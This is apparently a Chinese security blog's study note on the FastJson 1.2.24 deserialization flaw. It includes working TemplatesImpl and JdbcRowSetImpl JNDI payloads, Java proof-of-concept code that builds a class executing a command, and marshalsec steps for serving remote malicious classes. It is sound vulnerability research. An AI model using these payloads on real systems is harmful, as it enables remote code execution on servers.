前言
版本
本篇笔记实例选取FastJson <= 1.2.24 + jdk8u111
在选取payload的时候要注意对应jdk版本是否能够触发
FastJson基础
『Java』Fastjson基础
一、反序列化TemplatesImpl类+类加载触发
原理是使用payload触发7u21反序列化完成RCE
payload
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["yv66......"],
"_name":"foo",
"_tfactory":{},
"_outputProperties":{}
}
其中"_outputProperties" 字段必须放在最后、_name 字段可以任填、bytecodes的生成参考7u21的GenerateEvilByJavaassist利用javaassist生成恶意TemplatesImpl类字节码
『Java安全』反序列化-Jdk7u21 POP链分析_ysoserial Jdk7u21 payload 分析_TemplateImpl触发反序列化漏洞
代码审计 | 原理分析
JSON.parse()对byte[]进行base64解码
DefaultJSONParse有个parseArray用来解析Array数组 对于byte[]直接跳转到最后 deserializer是ObjectArrayCodec类的,这里有针对byte[]调用了lexer.byteValue() 然后进行了base64解码
JavaBeanDeserializer.smartMatch()智能匹配字段
匹配字段名称会自动忽略下划线和横杠
因为这个特性才能对_outputProperties 字段调用getOutputProperties方法触发反序列化漏洞
JSON.parse()在解析参数时候会调用getter/setter
『Java』Fastjson基础 parse先调用setter在调用getter
JSON.parse()触发TemplatesImpl.getOutputProperties()
由于_bytecodes是private变量,因此需要在parse设置参数Feature.SupportNonPublicField 才能够完成赋值,在处理完参数后来到JSON.parse(),然后调用默认解析器的parse()方法解析JSON 首先解析第一个字符是左花括号,对应的编号是12分支,Token对照可以在JSONToken.class查
进入JSONObject方法,这里有个true循环去解析@type标签 解析到@type标签会调用类加载器加载指定的类 接着,获取类的反序列化器,获取反序列化器的时候做了过滤排除掉了一些特殊类 最后获取的是createJavaBeanDeserializer创建的反序列化器 然后就进入解析 调用JavaBeanDeserializer.deserialuze() 这里有几个循环嵌套,负责解析 解析用的是parseField方法
parseField方法设置字段利用的是反射 解析到tfactory字段时为空会自动创建TransformerFactoryImpl实例,7u21版本无需设置该字段,但是7u80以后的高版本需要设置 在设置最后一个参数outputProperties的时候:进入了DefaultFieldDeserializer.parseField方法的最后一个setValue方法 FieldDeserializer.setValue方法利用反射调用了TemplatesImpl.getOutputProperties()从而完成了触发
POP链
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:14, TemplatesImplPayload (fastjson.Ver2u24)
代码复现
借用之前的方法:jdk7u21/GenerateEvilByJavaassist.java
package jdk7u21;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
public class GenerateEvilByJavaassist {
public static byte[] generate() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("Evil");
CtClass zuper = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(zuper);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("{Runtime.getRuntime().exec(\"calc\");}");
clazz.addConstructor(constructor);
return clazz.toBytecode();
}
}
TemplatesImplPayload.java
package fastjson.Ver2u24;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.unboundid.util.Base64;
public class TemplatesImplPayload {
public static void main(String[] args) throws Exception {
String typeName = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String byteCodes = Base64.encode(jdk7u21.GenerateEvilByJavaassist.generate());
String payload = "{\"@type\":\"" + typeName + "\", \"_bytecodes\":[\"" + byteCodes + "\"], \"_name\":\"foo\", \"_tfactory\":{}, \"_outputProperties\":{}}\n";
System.out.println(payload);
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
缺点
因为TemplatesImpl的bytecodes字段是private,在parse的时候就要假设远程服务器开启了Feature.SupportNonPublicField参数,然而这并不具有通用性
二、反序列化JDBCRowSetImpl类+JNDI注入触发
原理是使用payload触发JNDI注入完成RCE
payload
在选取payload的时候要注意对应jdk版本是否能够触发
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xxx.xxx.xxx.xxx/hacked",
"autoCommit":true
}
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://xxx.xxx.xxx.xxx/hacked",
"autoCommit":true
}
『Java安全』基础JNDI注入原理和手段探究(低版本)
代码审计 | 原理分析
JDBCRowSetImpl.setAutoCommit()触发lookup()完成JNDI注入
与上面参考文章调用execute方法触发不同: JDBCRowSetImpl.setAutoCommit()方法首先会检测conn参数,为空则会发起连接,是从这进入的connect()方法 然后就会lookup
JSON.parse()触发JDBCRowSetImpl.setAutoCommit()
根据上面的分析,autoCommit是布尔类型的 因此在payload最后给autoCommit赋布尔值、在parse的时候就会去调用它的set方法了
POP链
代码复现
JDBCRowSetImplPayload.java
package fastjson.Ver2u24;
import com.alibaba.fastjson.JSON;
public class JDBCRowSetImplPayload {
public static void main(String[] args) throws Exception {
String typeName = "com.sun.rowset.JdbcRowSetImpl";
String rmiURL = "rmi://127.0.0.1/hacked";
String ldapURL = "ldap://127.0.0.1:389/hacked";
String payload1 = "{\"@type\":\""+ typeName +"\", \"dataSourceName\":\"" + rmiURL +"\", \"autoCommit\":true}\n";
String payload2 = "{\"@type\":\""+ typeName +"\", \"dataSourceName\":\"" + ldapURL +"\", \"autoCommit\":true}\n";
System.out.println(payload1);
System.out.println(payload2);
JSON.parseObject(payload1);
}
}
起一个恶意RMI/LDAP服务,这里用之前学习jndi的代码
『Java安全』基础JNDI注入原理和手段探究(低版本)
优点
克服了TemplatesImpl需要指定parse参数Feature.SupportNonPublicField的不足,能够直接触发
marshalsec测试payload利用
生成恶意class
写一个Exploit,只要在静态代码块完成RCE即可
然后javac编译,使用python -m http.server 80 开一个服务器把class文件放上去确保能访问到
marshalsec开启恶意rmi服务器
将rmi开启在6666端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/
受害者访问rmi服务触发RCE
受害者rce成功
参考
Fastjson 1.2.24反序列化漏洞分析
完
欢迎关注我的CSDN博客 :@Ho1aAs 版权属于:Ho1aAs 本文链接:https://blog.csdn.net/Xxy605/article/details/123261762 版权声明:本文为原创,转载时须注明出处及本声明
|